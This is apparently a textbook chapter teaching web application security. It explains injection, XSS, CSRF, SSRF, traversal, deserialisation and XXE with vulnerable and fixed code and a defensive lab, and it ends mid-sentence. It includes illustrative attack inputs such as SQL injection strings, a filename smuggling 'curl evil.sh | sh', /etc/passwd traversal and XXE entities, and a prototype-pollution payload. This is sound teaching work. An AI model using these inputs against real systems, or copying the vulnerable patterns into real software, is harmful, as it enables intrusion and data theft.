SE·108
Web Application Security
The vulnerabilities that dominate real breaches, each explained from the root cause: the OWASP Top 10:2025 as a baseline, injection (SQL, NoSQL, command, LDAP, template) and why parameterisation fixes it, cross-site scripting and contextual output encoding with CSP, CSRF and SameSite cookies, SSRF and cloud metadata, path traversal, insecure deserialisation, XXE, open redirects, file uploads, prototype pollution, mass assignment, clickjacking, CORS mistakes, security headers, and error handling, with vulnerable and fixed code in Java, Go, Python, Rust, TypeScript and C.
Start here: why web bugs happen, and the fixes that end them
Almost every web vulnerability has the same root cause: untrusted data crosses into a place where it is interpreted as code or as a command. User input becomes part of SQL, HTML, a shell command, a file path or a URL the server fetches, and the interpreter on the other side can't tell your instructions from the attacker's text. The fixes therefore follow one pattern too: keep data and code in separate channels, or encode data for the exact context it lands in.
Keep data and code apart: parameterised queries
lookup with name="ravi' OR '1'='1": [] (a literal name; no match)
lookup with name='ravi': [('ravi', 'user')]
With a ? placeholder, the database receives the query text and the value separately. The quotes in the input are just characters in a name that doesn't exist; they never become SQL. This is why parameterisation (prepared statements, ORM bind parameters) ends SQL injection as a class, and why escaping by hand doesn't.
Encode for the context: output encoding
The same untrusted string needs different treatment depending on where it goes:
raw : Tom <b>"Chef"</b> & co
HTML body (escape) : Tom <b>"Chef"</b> & co
JSON string (dumps) : "Tom <b>\"Chef\"</b> & co"
URL query (quote) : Tom%20%3Cb%3E%22Chef%22%3C/b%3E%20%26%20co
HTML-escaping turns markup characters into entities the browser displays instead of parsing; URL-encoding does the same for a query string. Notice that the JSON encoder left < and > alone: valid JSON, but unsafe if you paste it into an inline <script> block, where </script> inside a string ends the script. Templating engines that escape automatically by context (React's JSX, Thymeleaf, Go's html/template, Jinja2 with autoescape) are the reliable way to get this right; cross-site scripting (XSS) is what happens when you don't.
A second layer: Content Security Policy
A CSP header tells the browser which scripts it may run. The same page, loaded in headless Chromium with and without a policy:
without CSP → page says: inline script RAN
with CSP → page says: inline script did not run
console: Executing inline script violates the following Content Security Policy directive 'script-src 'self''…
If an encoding bug ever lets markup through, a strict CSP stops injected inline scripts from executing. It is defence in depth (chapter 106), not a replacement for encoding.
Resolve, then check: safe file paths
menu.txt → allowed menu.txt
sub/../menu.txt → allowed menu.txt
../defend.py → refused (outside files/)
Never build a path by gluing strings and hoping. Resolve the full path first (collapsing .. and symlinks), then check that the result is still inside the directory you meant to serve. Better still, don't use user input as a path at all: look files up by an ID in a table.
Security headers and cookies
The same nginx server, one location plain and one hardened:
/plain → HTTP/1.1 200 OK (no security headers)
/hardened → Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'none'
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: sid=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
Each line closes a door: frame-ancestors 'none' prevents clickjacking, nosniff stops the browser guessing content types, HSTS forces HTTPS, and the cookie flags keep the session cookie away from JavaScript (HttpOnly), off plain HTTP (Secure) and off most cross-site requests (SameSite=Lax, a strong first defence against cross-site request forgery, alongside CSRF tokens for state-changing forms).
How deep to go in web application security
Volume 17 defines six mastery levels. For this chapter they look like this; the chapter aims at L3 everywhere, and its lab at L4.
| Level | What you can do |
|---|---|
| L1 | Name the OWASP Top 10 categories and the root cause behind injection and XSS |
| L2 | Use parameterised queries, auto-escaping templates, safe path handling and secure cookie flags by default |
| L3 | Explain each vulnerability class from first principles and why its fix works, including CSP, SameSite and SSRF defences |
| L4 | Find these flaws in code review and verify fixes with tests and scanners on systems you own |
| L5 | Design frameworks and platform defaults that remove whole bug classes for every team |
| L6 | Run an application-security programme: standards, training, tooling and metrics across an organisation |
The root cause: mixing code and data
Most web vulnerabilities share one shape: untrusted data is interpreted as code or as an instruction by some interpreter (a SQL engine, a browser's HTML parser, a shell, a file system, a deserialiser, an HTTP client). The defence pattern is consistent:
- Keep data and code separate structurally (parameterised queries, argument arrays, DOM APIs, safe serialisation formats), rather than building strings and trying to escape them.
- Validate input against an allow-list of what's expected (type, length, format, range) at the trust boundary.
- Encode output for the exact context it's placed into.
- Least privilege so a successful injection achieves little.
OWASP Top 10:2025
The OWASP Top 10 is an awareness baseline (not a complete standard; use OWASP ASVS for verification requirements). The 2025 edition:
| # | Category | Notes |
|---|---|---|
| A01 | Broken Access Control | Still #1; now includes SSRF |
| A02 | Security Misconfiguration | Default credentials, verbose errors, open cloud storage, missing headers |
| A03 | Software Supply Chain Failures | New: dependencies, build systems, distribution (chapter 112) |
| A04 | Cryptographic Failures | Chapter 107 |
| A05 | Injection | Includes XSS |
| A06 | Insecure Design | Missing threat modelling and security controls by design (chapter 113) |
| A07 | Authentication Failures | Chapter 109 |
| A08 | Software or Data Integrity Failures | Unsigned updates, insecure deserialisation, untrusted CI artifacts |
| A09 | Security Logging & Alerting Failures | Can't detect or respond (Vol. 9) |
| A10 | Mishandling of Exceptional Conditions | New: failing open, leaking errors, unhandled edge cases |
Injection
SQL injection
When a query is built by concatenating user input, the input can change the query's structure:
query = "SELECT * FROM users WHERE email = '" + email + "'"
email = ' OR '1'='1' --
→ SELECT * FROM users WHERE email = '' OR '1'='1' --' (returns every user)
email = '; DROP TABLE users; -- (stacked queries, where supported)
Attackers use injection to read any data (UNION-based, error-based, blind boolean/time-based extraction), bypass logins, modify data, and sometimes execute OS commands (via xp_cmdshell, COPY ... PROGRAM, file writes).
Fix: parameterised queries (prepared statements). The SQL text is sent with placeholders; values are sent separately and are never parsed as SQL. ORMs and query builders parameterise by default; their raw-SQL escape hatches don't.
// ✗ Vulnerable
String sql = "SELECT id, name FROM users WHERE email = '" + email + "'";
ResultSet rs = conn.createStatement().executeQuery(sql);
// ✓ Parameterised (JDBC). Also: JPA named parameters, Spring JdbcTemplate with ?, jOOQ
PreparedStatement ps = conn.prepareStatement("SELECT id, name FROM users WHERE email = ?");
ps.setString(1, email);
ResultSet rs2 = ps.executeQuery();
// ✗ Vulnerable
rows, err := db.Query("SELECT id, name FROM users WHERE email = '" + email + "'")
// ✓ Parameterised (database/sql; placeholder $1 for Postgres, ? for MySQL)
rows, err = db.QueryContext(ctx, "SELECT id, name FROM users WHERE email = $1", email)
# ✗ Vulnerable (f-strings and % formatting into SQL)
cur.execute(f"SELECT id, name FROM users WHERE email = '{email}'")
# ✓ Parameterised (DB-API placeholders; SQLAlchemy text() with bound params)
cur.execute("SELECT id, name FROM users WHERE email = %s", (email,))
// ✓ sqlx: bind parameters; query! macros also type-check against the schema at compile time
let user = sqlx::query_as::<_, User>("SELECT id, name FROM users WHERE email = $1")
.bind(&email)
.fetch_optional(&pool)
.await?;
// ✗ format!("... WHERE email = '{email}'") passed to sqlx::query is just as injectable
// ✗ Vulnerable
await pool.query(`SELECT id, name FROM users WHERE email = '${email}'`);
// ✓ node-postgres parameters (Prisma/Drizzle parameterise; beware $queryRawUnsafe)
await pool.query("SELECT id, name FROM users WHERE email = $1", [email]);
Things that can't be parameterised (table and column names, ORDER BY direction, LIMIT in some engines) must be mapped through an allow-list:
SORTABLE = {"name": "name", "created": "created_at"}
col = SORTABLE.get(request.args.get("sort"), "created_at") # never interpolate raw input
direction = "DESC" if request.args.get("dir") == "desc" else "ASC"
cur.execute(f"SELECT id, name FROM users ORDER BY {col} {direction} LIMIT %s", (limit,))
Defence in depth: the application's database account should have only the privileges it needs (no DDL, no superuser, no file access), errors shouldn't reveal SQL, and a WAF can block noisy attacks (but is never the fix).
NoSQL and other query injection
- MongoDB operator injection: a JSON body
{"email": {"$ne": null}, "password": {"$ne": null}}passed straight intofind()matches any user. Validate types (email must be a string), use schema validation (Zod, Pydantic, Bean Validation), or sanitise operator keys. - LDAP injection, XPath injection, GraphQL (deep/batched queries as DoS; authorisation per resolver), ORM injection (raw fragments,
whereclauses accepting objects), expression language injection (Spring SpEL, OGNL in Struts: the 2017 Equifax breach) follow the same principle.
OS command injection
os.system("convert " + filename + " out.png")
filename = "x.png; curl evil.sh | sh"
The shell interprets ;, |, &&, $( ), backticks. Fix: don't invoke a shell. Pass an argument vector directly to execve, so the input is one argument whatever it contains. Better still, use a library instead of a subprocess. Also guard against argument injection (a filename starting with - treated as an option: use -- to end options, or prefix ./).
// ✗ Runtime.exec with one string is split on spaces; via "sh -c" it's full shell injection
Runtime.getRuntime().exec(new String[]{"sh", "-c", "convert " + filename + " out.png"});
// ✓ Argument array, no shell; "--" ends option parsing
new ProcessBuilder("convert", "--", filename, "out.png").start();
// ✓ exec.Command never uses a shell; each arg is passed as-is
cmd := exec.CommandContext(ctx, "convert", "--", filename, "out.png")
// ✗ exec.Command("sh", "-c", "convert "+filename+" out.png")
# ✗ shell=True with interpolated input
subprocess.run(f"convert {filename} out.png", shell=True)
# ✓ list of arguments, no shell
subprocess.run(["convert", "--", filename, "out.png"], check=True, timeout=30)
// ✓ std::process::Command passes arguments directly (no shell)
let status = std::process::Command::new("convert").arg("--").arg(&filename).arg("out.png").status()?;
// ✗ exec() runs a shell
exec(`convert ${filename} out.png`);
// ✓ execFile/spawn with an args array and shell: false (default)
execFile("convert", ["--", filename, "out.png"]);
/* ✗ system() invokes /bin/sh */
char cmd[512]; snprintf(cmd, sizeof cmd, "convert %s out.png", filename); system(cmd);
/* ✓ fork + execvp with an argv array */
char *argv[] = {"convert", "--", (char *)filename, "out.png", NULL};
pid_t pid = fork();
if (pid == 0) { execvp("convert", argv); _exit(127); }
Server-side template injection (SSTI)
If user input becomes part of a template source (not a template variable), template engines like Jinja2, Freemarker, Velocity, Thymeleaf or Handlebars can evaluate attacker expressions, often leading to remote code execution: {{ ''.__class__.__mro__[1].__subclasses__() }} in Jinja2. Fix: never build templates from user input; pass input as data to fixed templates; use sandboxed/logic-less engines where users must author templates.
Cross-site scripting (XSS)
Types
XSS is injection into the browser: attacker-controlled data is interpreted as HTML/JavaScript in your origin, so the script runs with your site's privileges (reads the page and non-HttpOnly cookies, calls your APIs as the user, rewrites the UI for phishing).
| Type | Where the payload comes from |
|---|---|
| Reflected | The current request (/search?q=<script>…</script> reflected into the page); delivered via a crafted link |
| Stored | Saved earlier (a comment, profile name, support ticket) and rendered to other users, including admins |
| DOM-based | Client-side JavaScript reads attacker-influenced data (location.hash, postMessage) and writes it to a dangerous sink (innerHTML, document.write, eval, setTimeout(string), href="javascript:…") |
Contextual output encoding
The correct escaping depends on where the data goes:
| Context | Example | Encoding |
|---|---|---|
| HTML body | <p>{name}</p> |
HTML entity encode < > & " ' |
| HTML attribute (quoted) | <input value="{name}"> |
Attribute encode; always quote |
| URL parameter | <a href="/u?q={q}"> |
Percent-encode the component |
| URL (whole) | <a href="{url}"> |
Validate scheme allow-list (https:, mailto:), blocks javascript: |
| JavaScript | <script>var x = {data};</script> |
Avoid; put JSON in a data attribute or <script type="application/json"> and parse |
| CSS | style="color: {c}" |
Avoid; allow-list values |
Fixes, best first:
- Use auto-escaping templating and frameworks: React/JSX, Vue, Angular, Svelte, Thymeleaf, Jinja2 (autoescape on), Go's
html/template(context-aware), Razor, Askama/Tera (Rust). They encode by default. - Avoid the escape hatches (
dangerouslySetInnerHTML,v-html,[innerHTML],|safe,template.HTML(...),th:utext), or feed them only output from an HTML sanitiser (DOMPurify, OWASP Java HTML Sanitizer,ammoniain Rust,bluemondayin Go,nh3in Python) when you genuinely need user-supplied rich text. - In client code, use safe sinks:
textContent,setAttributefor non-URL attributes,createElement; and enable Trusted Types to make dangerous sinks throw unless given vetted values. - Add a Content Security Policy as defence in depth.
- Set cookies HttpOnly so injected scripts can't read session cookies (they can still act as the user, so this limits but doesn't prevent damage).
// ✗ DOM XSS: attacker controls the hash
document.getElementById("greeting")!.innerHTML = "Hello " + decodeURIComponent(location.hash.slice(1));
// ✓ text, not HTML
document.getElementById("greeting")!.textContent = "Hello " + decodeURIComponent(location.hash.slice(1));
// React escapes by default:
const Greeting = ({ name }: { name: string }) => <p>Hello {name}</p>; // ✓ safe
// ✗ <div dangerouslySetInnerHTML={{ __html: comment }} />
// ✓ <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(comment) }} />
// ✗ <a href={userUrl}> — a "javascript:" URL executes; validate the scheme first
// Go: html/template is context-aware (HTML, attribute, URL, JS contexts)
var page = template.Must(template.New("p").Parse(`<p>Hello {{.Name}}</p><a href="{{.URL}}">site</a>`))
// {{.URL}} with "javascript:alert(1)" renders as "#ZgotmplZ" (blocked)
page.Execute(w, map[string]string{"Name": name, "URL": url})
// ✗ text/template does no escaping; ✗ template.HTML(userInput) disables escaping
# Jinja2 / Flask: autoescape is on for .html templates
# ✓ <p>Hello {{ name }}</p>
# ✗ <p>Hello {{ name | safe }}</p> ✗ Markup(user_input)
from markupsafe import escape
html = f"<p>Hello {escape(name)}</p>" # when building HTML in code (prefer templates)
// Thymeleaf: th:text escapes, th:utext does not
// ✓ <p th:text="${name}">…</p> ✗ <p th:utext="${name}">…</p>
// Sanitising rich text with OWASP Java HTML Sanitizer:
PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
String safe = policy.sanitize(untrustedHtml);
// Askama templates escape HTML by default (compile-time checked)
#[derive(askama::Template)]
#[template(source = "<p>Hello {{ name }}</p>", ext = "html")]
struct Greeting<'a> { name: &'a str }
// Rich text: ammonia::clean(&untrusted_html)
Content Security Policy
CSP tells the browser which sources of script, style, images and connections are allowed. A strict, nonce-based policy blocks injected inline scripts even when an XSS bug exists:
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none';
base-uri 'none'; frame-ancestors 'none'; require-trusted-types-for 'script'
- Each response gets a fresh random nonce; only
<script nonce="r4nd0m">tags run.'strict-dynamic'lets those trusted scripts load others. - Avoid
'unsafe-inline'and'unsafe-eval', and avoid host allow-lists alone (CDNs often host gadgets that bypass them). - Roll out with
Content-Security-Policy-Report-Onlyand a reporting endpoint, then enforce.
Cross-site request forgery (CSRF)
The attack
Browsers attach cookies to requests to a site regardless of which site initiated the request. If bank.example authenticates with a session cookie, a page on evil.example can auto-submit a form to https://bank.example/transfer, and the browser sends the victim's cookie along:
Defences
- SameSite cookies:
SameSite=Lax(the default in Chromium-based browsers when unset) withholds cookies on cross-site subrequests and POSTs while allowing top-level GET navigations;SameSite=Strictwithholds them on all cross-site requests. This blocks most CSRF but not everything (same-site attacks from a compromised subdomain, GET endpoints that change state, browsers with different defaults). - Anti-CSRF tokens (synchroniser token or signed double-submit cookie): a random value tied to the session, included in forms or a header, verified by the server. Frameworks provide it: Spring Security (on by default), Django (
CsrfViewMiddleware), Rails, ASP.NET, Laravel;gorilla/csrfor Go 1.25'shttp.CrossOriginProtection(which checksSec-Fetch-Site/Origin). - Check
Origin/Sec-Fetch-Siteheaders on state-changing requests; reject cross-site ones. - Never change state on GET.
- Require re-authentication or step-up for sensitive actions (password change, payouts).
APIs that authenticate with an Authorization: Bearer header (not cookies) aren't vulnerable to classic CSRF, because browsers don't attach those automatically, but storing tokens in localStorage exposes them to XSS. Many teams therefore use HttpOnly SameSite cookies plus CSRF protection for browser apps (the "backend for frontend" pattern, chapter 109).
Server-side request forgery (SSRF)
SSRF happens when the server fetches a URL influenced by the attacker (link previews, webhooks, image import, PDF renderers, XML parsers): the attacker makes your server send requests to places it can reach and they can't:
- Cloud metadata endpoints (
http://169.254.169.254/on AWS/Azure/GCP/OCI): historically returned IAM credentials. The 2019 Capital One breach used SSRF against a misconfigured WAF to steal instance role credentials and read S3 data. - Internal admin panels, databases, Kubernetes API, Redis,
localhostservices. - Port scanning the internal network.
Defences (layered, because URL filtering alone is notoriously bypassable via redirects, alternate IP encodings like http://2130706433/, IPv6, DNS rebinding):
- Allow-list destinations when possible (known partner hosts).
- Otherwise, resolve the hostname, validate every resolved IP (block private, loopback, link-local, metadata ranges), and connect to that validated IP (pinning, to defeat DNS rebinding). Re-validate on each redirect or disable redirects.
- Restrict schemes to
https(andhttpif necessary): nofile://,gopher://,dict://. - Network controls: run fetchers in an isolated egress zone through an egress proxy (Smokescreen); block metadata access via network policy.
- IMDSv2 on AWS (session-token required, hop limit 1), GCP metadata requires the
Metadata-Flavor: Googleheader, Azure requiresMetadata: true: these block simple SSRF but not all. - Don't return raw fetched responses or detailed errors to users.
// Go: an http.Client whose dialer refuses non-public addresses, checked after DNS resolution
// at connect time (so redirects and DNS rebinding are covered too).
func safeClient() *http.Client {
dialer := &net.Dialer{
Timeout: 5 * time.Second,
Control: func(network, address string, _ syscall.RawConn) error {
host, _, err := net.SplitHostPort(address)
if err != nil { return err }
ip, err := netip.ParseAddr(host)
if err != nil { return err }
ip = ip.Unmap()
if !ip.IsGlobalUnicast() || ip.IsPrivate() || ip.IsLoopback() || ip.IsLinkLocalUnicast() {
return fmt.Errorf("blocked destination %s", ip)
}
return nil
},
}
tr := &http.Transport{DialContext: dialer.DialContext, Proxy: nil}
return &http.Client{Transport: tr, Timeout: 10 * time.Second,
CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}
}
(The Control hook runs for the actual IP being connected to, which is the robust place to check. Also block shared-address and other special ranges for completeness, e.g. 100.64.0.0/10 and IPv6 unique-local fc00::/7 — IsPrivate covers the latter.)
Path traversal
User input used in a file path can escape the intended directory: GET /download?file=../../etc/passwd or ..%2f..%2f, absolute paths, or Windows ..\\. The Zip Slip variant: archive entries named ../../app/config.yml overwrite files when extracted.
Fix: don't use user input as a path at all if possible (map IDs to stored paths). Otherwise canonicalise the joined path and verify it's still inside the base directory, or use APIs that confine access to a directory:
// Go 1.24+: os.Root confines all operations to a directory (rejects .. escapes and symlinks out)
root, err := os.OpenRoot("/srv/uploads")
if err != nil { return err }
defer root.Close()
f, err := root.Open(userFile) // error if userFile escapes the root
// Java: normalise and check prefix
Path base = Path.of("/srv/uploads").toRealPath();
Path target = base.resolve(userFile).normalize();
if (!target.startsWith(base)) throw new SecurityException("path traversal");
// For symlink safety, also check target.toRealPath() after it exists
# Python: resolve and check containment
from pathlib import Path
base = Path("/srv/uploads").resolve()
target = (base / user_file).resolve()
if not target.is_relative_to(base): # Python 3.9+
raise PermissionError("path traversal")
// Rust: canonicalize and check prefix (or use the cap-std crate for capability-based dirs)
let base = std::fs::canonicalize("/srv/uploads")?;
let target = std::fs::canonicalize(base.join(&user_file))?; // errors if missing; resolves symlinks
if !target.starts_with(&base) { return Err(anyhow::anyhow!("path traversal")); }
// Node.js
import path from "node:path";
const base = path.resolve("/srv/uploads");
const target = path.resolve(base, userFile);
if (!target.startsWith(base + path.sep)) throw new Error("path traversal");
Insecure deserialisation
Native object deserialisation formats (Java ObjectInputStream, Python pickle, PHP unserialize, .NET BinaryFormatter, Ruby Marshal, YAML loaders that instantiate arbitrary types) construct arbitrary objects from the byte stream and run their methods. Attackers chain existing library classes ("gadget chains", tooling like ysoserial) to achieve remote code execution just by sending crafted data.
Fixes:
- Never deserialise untrusted data with native object serialisation. Use data-only formats (JSON, Protobuf, CBOR) mapped into explicit DTOs.
- In Java, if legacy serialisation is unavoidable, apply serialisation filters (
ObjectInputFilter, JEP 290/415) with allow-lists. Watch polymorphic JSON features too (Jackson default typing,@JsonTypeInfowith class names). - Python:
pickle.loadson untrusted input is RCE (alsotorch.loadwithoutweights_only=True,joblib);yaml.safe_load, notyaml.load. - .NET:
BinaryFormatterwas removed in .NET 9. - Sign serialised data that must round-trip through clients (and still prefer data-only formats).
- Rust's
serdedeserialises into concrete types without invoking arbitrary code, but you should still bound sizes and depth.
XML external entities (XXE)
XML parsers that process DTDs can be told to include external entities: <!ENTITY x SYSTEM "file:///etc/passwd"> (file disclosure), http://169.254.169.254/ (SSRF), or billion-laughs entity expansion (DoS). Disable DTDs/external entities: in Java set XMLConstants.FEATURE_SECURE_PROCESSING and disallow-doctype-decl; in Python use defusedxml; .NET and Go's encoding/xml don't resolve external entities by default; libxml2 users must avoid XML_PARSE_NOENT and XML_PARSE_DTDLOAD. File formats such as DOCX, SVG and SAML are XML too.
Other common vulnerabilities
Open redirect
/login?next=https://evil.example redirecting after login lends your domain's credibility to phishing, and in OAuth flows can leak authorisation codes or tokens. Fix: only redirect to relative paths or an allow-list of hosts; reject //evil.example (protocol-relative) and backslash tricks; for OAuth, register exact redirect URIs (chapter 109).
File uploads
Risks: uploading executable code into a served directory (web shells), stored XSS via HTML/SVG files served from your origin, path traversal through file names, malware distribution, parser exploits (ImageMagick "ImageTragick"), zip bombs, and DoS via huge files.
Fixes:
- Enforce size limits at the proxy and application.
- Validate type by content (magic bytes) and an allow-list of extensions, not the client's
Content-Type. - Generate your own file names; store outside the web root, ideally in object storage (S3/GCS) with private ACLs and pre-signed URLs.
- Serve user content from a separate domain (e.g.
usercontent.example.net) withContent-Disposition: attachment,X-Content-Type-Options: nosniffand a restrictive CSP, so an HTML or SVG upload can't run script on your main origin. - Re-encode images (strips metadata and payloads); process in sandboxes; scan with antivirus for files shared with other users.
Prototype pollution (JavaScript)
JavaScript objects inherit from Object.prototype. Merging untrusted JSON recursively (merge(target, JSON.parse(body))) with a key __proto__ or constructor.prototype modifies the prototype of every object, which can flip flags (isAdmin), break logic, or lead to RCE through gadgets in templating or child-process options.
// ✗ naive deep merge of request body
function merge(t: any, s: any) { for (const k in s) { typeof s[k] === "object" ? merge(t[k] ??= {}, s[k]) : (t[k] = s[k]); } }
merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
console.log(({} as any).isAdmin); // true — every object is now "admin"
// ✓ Fixes: validate input with a schema (Zod) into known fields; skip "__proto__", "constructor",
// "prototype" keys; use Object.create(null) or Map for dictionaries; Object.freeze(Object.prototype)
// in hardened runtimes; Node's --disable-proto=delete.
Mass assignment
Binding a request body directly to a domain object lets attackers set fields they shouldn't: {"name": "x", "role": "admin", "balance": 1000000}. Fix: bind to explicit DTOs with only the allowed fields (Java records, Pydantic models, Go structs dedicated to input, Zod schemas), or framework allow-lists (permit in Rails, fields in DRF serialisers). This is one form of broken object property-level authorisation (OWASP API Top 10, chapter 110).
Clickjacking
An attacker frames your page invisibly over a decoy and tricks users into clicking buttons. Fix: Content-Security-Policy: frame-ancestors 'none' (or 'self'/specific origins), plus legacy X-Frame-Options: DENY.
CORS mistakes
Same-origin policy stops scripts on one origin from reading responses from another. CORS (Cross-Origin Resource Sharing) lets a server relax that for chosen origins. CORS is a relaxation, not a protection: misconfiguring it lets malicious sites read authenticated responses.
Common mistakes:
- Reflecting the request's
Originheader intoAccess-Control-Allow-Origintogether withAccess-Control-Allow-Credentials: true: any site can read users' data with their cookies. - Allowing
nullorigin (sandboxed iframes andfile:pages send it). - Weak origin matching:
endsWith("example.com")acceptsevilexample.com; unanchored regexes. - Trusting all subdomains when some host user content or can be taken over.
- Believing CORS protects the server from requests: it only governs whether browsers expose the response to scripts; non-browser clients ignore it, and "simple" requests are still sent (which is why CSRF defences are still needed).
// Express with the cors package: exact allow-list, credentials only where needed
const allowed = new Set(["https://app.example.com", "https://admin.example.com"]);
app.use(cors({
origin: (origin, cb) => cb(null, !origin || allowed.has(origin)), // no Origin = same-origin/non-browser
credentials: true,
methods: ["GET", "POST", "PUT", "DELETE"],
maxAge: 600,
}));
Security headers
| Header | Purpose |
|---|---|
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload |
HSTS: browsers use HTTPS only, preventing SSL stripping |
Content-Security-Policy |
Script/resource allow-list; frame-ancestors against clickjacking |
X-Content-Type-Options: nosniff |
Stop MIME sniffing (e.g. treating an upload as script) |
Referrer-Policy: strict-origin-when-cross-origin (or no-referrer) |
Don't leak full URLs (with tokens) to other sites |
Permissions-Policy: camera=(), geolocation=() |
Disable powerful browser features not used |
Cross-Origin-Opener-Policy: same-origin |
Isolate your window from cross-origin openers (Spectre-class and popup attacks) |
Cross-Origin-Resource-Policy: same-origin |
Stop other sites embedding your resources |
Cache-Control: no-store on sensitive responses |
Keep personal data out of shared caches |
Cookies: Secure; HttpOnly; SameSite=Lax; Path=/, __Host- prefix |
Cookie theft and scope (chapter 109) |
Deprecated: X-XSS-Protection (remove it or set 0), Public-Key-Pins (HPKP). Most frameworks provide middleware: Spring Security headers, Helmet (Node), django.middleware.security, secure crates for Rust frameworks.
Errors, exceptional conditions and business logic
A10:2025 Mishandling of Exceptional Conditions captures failures in how code behaves under errors:
- Failing open: an exception in an authorisation check that defaults to "allow"; a timeout from the policy service treated as success. Fail closed for security decisions.
- Leaking details: stack traces, SQL errors, internal hostnames and versions in responses. Return generic messages with a correlation ID; log the details (without secrets).
- Inconsistent state: partially completed operations after an error (transactions, compensations; Vol. 5 ch. 73).
- Resource exhaustion: unbounded inputs (request sizes, JSON depth, regex backtracking "ReDoS", decompression), missing timeouts.
// ✗ fails open: any exception in the check permits access
boolean allowed;
try { allowed = policy.check(user, "invoice:read", id); } catch (Exception e) { allowed = true; }
// ✓ fails closed and records why
boolean allowed2;
try { allowed2 = policy.check(user, "invoice:read", id); }
catch (Exception e) { log.warn("authz check failed; denying", e); allowed2 = false; }
Business logic flaws don't match a pattern scanner: negative quantities in a cart, applying a coupon twice, skipping a workflow step by calling the final endpoint directly, race conditions in balance updates (two withdrawals at once: use transactions with row locks or conditional updates, and idempotency keys, Vol. 5 ch. 74). They're found by threat modelling and abuse cases (chapter 113) and tests that encode invariants.
Testing for web vulnerabilities
| Technique | What it finds |
|---|---|
SAST (Semgrep, CodeQL, SonarQube, SpotBugs+FindSecBugs, gosec, Bandit, cargo clippy + cargo audit) |
Injection sinks, dangerous APIs, data-flow from sources to sinks in code |
| DAST (OWASP ZAP, Burp Suite, Nuclei) | Runtime issues: headers, reflected XSS, injection, misconfiguration |
| SCA (Dependabot, Renovate, Snyk, OSV-Scanner, Trivy) | Known-vulnerable dependencies (chapter 112) |
| Secret scanning (Gitleaks, TruffleHog, GitHub push protection) | Committed credentials |
| Fuzzing (Go native fuzzing, cargo-fuzz, Jazzer, Atheris, libFuzzer) | Parser crashes, edge cases |
| Manual review and penetration testing | Access control and business logic flaws, which tools miss |
| Bug bounty / vulnerability disclosure | Continuous external testing; publish security.txt |
Lab: web defences, verified
Python 3 with SQLite, nginx 1.24 and headless Chromium through Playwright, all on the lab machine. Every experiment checks a defence on code you own; the aim is to see each fix work, and to know how to test for it.
Experiment 1: parameterisation keeps input as data
lookup with name="ravi' OR '1'='1": [] (a literal name; no match)
lookup with name='ravi': [('ravi', 'user')]
db.execute("select name, role from users where name = ?", (name,))
Turn this into a regression test: for every query that takes user input, a unit test that passes quote characters and asserts the result is "not found", not "everything". Static analysers (Semgrep, CodeQL, SpotBugs with Find Security Bugs) flag string-built queries automatically; wire one into CI so the safe pattern is enforced, not hoped for.
Experiment 2: one string, three encodings
HTML body : Tom <b>"Chef"</b> & co
JSON string: "Tom <b>\"Chef\"</b> & co"
URL query : Tom%20%3Cb%3E%22Chef%22%3C/b%3E%20%26%20co
The JSON row is the trap: correct JSON, but it keeps < and >. If you must embed JSON in HTML, either put it in a <script type="application/json"> element and escape < as <, or deliver it through a data attribute that the template escapes. Frameworks do this for you (th:inline, Django's json_script); hand-rolled string concatenation does not.
Experiment 3: CSP enforced by a real browser
Playwright served the same page twice through a routed fake origin, once with Content-Security-Policy: default-src 'self'; script-src 'self':
without CSP → page says: inline script RAN
with CSP → page says: inline script did not run
console: Executing inline script violates the following Content Security Policy directive 'script-src 'self''…
This is how to test a policy before you ship it: load your pages in a headless browser with the header set and collect console violations. In production, start with Content-Security-Policy-Report-Only plus a report-to endpoint, watch what would break, move legitimate inline scripts to files or nonces, then enforce. A policy that allows 'unsafe-inline' for scripts gives almost no XSS protection.
Experiment 4: canonicalise, then check
menu.txt → allowed menu.txt
sub/../menu.txt → allowed menu.txt
../defend.py → refused (outside files/)
p = (base / name).resolve()
if not p.is_relative_to(base): refuse()
The check runs on the resolved path, so .. sequences and symlinks are already collapsed. In Java the equivalent is base.resolve(name).normalize().toRealPath() followed by startsWith(base); in Go 1.24+, os.Root confines all operations to a directory for you.
Experiment 5: headers you can audit with curl
/plain → HTTP/1.1 200 OK (nothing else)
/hardened → Content-Security-Policy, X-Content-Type-Options: nosniff,
Referrer-Policy, Strict-Transport-Security,
Set-Cookie: sid=…; HttpOnly; Secure; SameSite=Lax
The nginx detail that bites people: add_header in a location replaces all add_header lines inherited from the server block, and without always headers are omitted on error responses. A one-line CI check, curl -sI https://staging/ | grep -i content-security-policy, catches regressions that code review misses.
Try it yourself
- Add a CSP nonce: generate a random value per response, put it in the header and on one
<script nonce=…>tag, and confirm in Playwright that only that script runs. - Write unit tests for
safe_opencovering absolute paths (/etc/hosts), a symlink insidefiles/pointing outside, and an empty name. - Run Semgrep's
p/owasp-top-tenruleset over a small project of yours and triage the first five findings. - Move the hardened headers to the nginx
serverblock, add oneadd_headerin a location, and check with curl which headers survive.
Revision sheet: web application security
Key ideas
- Root cause: untrusted data interpreted as code; fix by separating channels or encoding for context.
- Injection (SQL, NoSQL, OS command, LDAP, template): parameterise; never build commands by string; pass argument lists.
- XSS: auto-escaping templates by context; sanitise HTML only with a vetted library; CSP with nonces as a second layer; HttpOnly cookies.
- CSRF: SameSite cookies plus anti-CSRF tokens on state-changing requests; never change state on GET.
- SSRF: allow-list destinations, resolve and block private/link-local ranges, disable redirects, use IMDSv2 in the cloud.
- Path traversal: canonicalise then check, or look files up by ID.
- Deserialisation/XXE: never deserialise untrusted native objects; disable external entities in XML parsers.
- Access control (Top 10's #1 category): check authorisation on every request, server-side, per object.
- Headers: CSP, HSTS, nosniff, Referrer-Policy, frame-ancestors; strict CORS.
Numbers to remember
- OWASP Top 10:2025 lists Broken Access Control first.
- HSTS commonly
max-age=31536000(one year); preload requiresincludeSubDomainsandpreload. - Lab: one CSP header turned "inline script RAN" into "did not run" with a console violation.
Pitfalls
- Blacklist filters ("strip
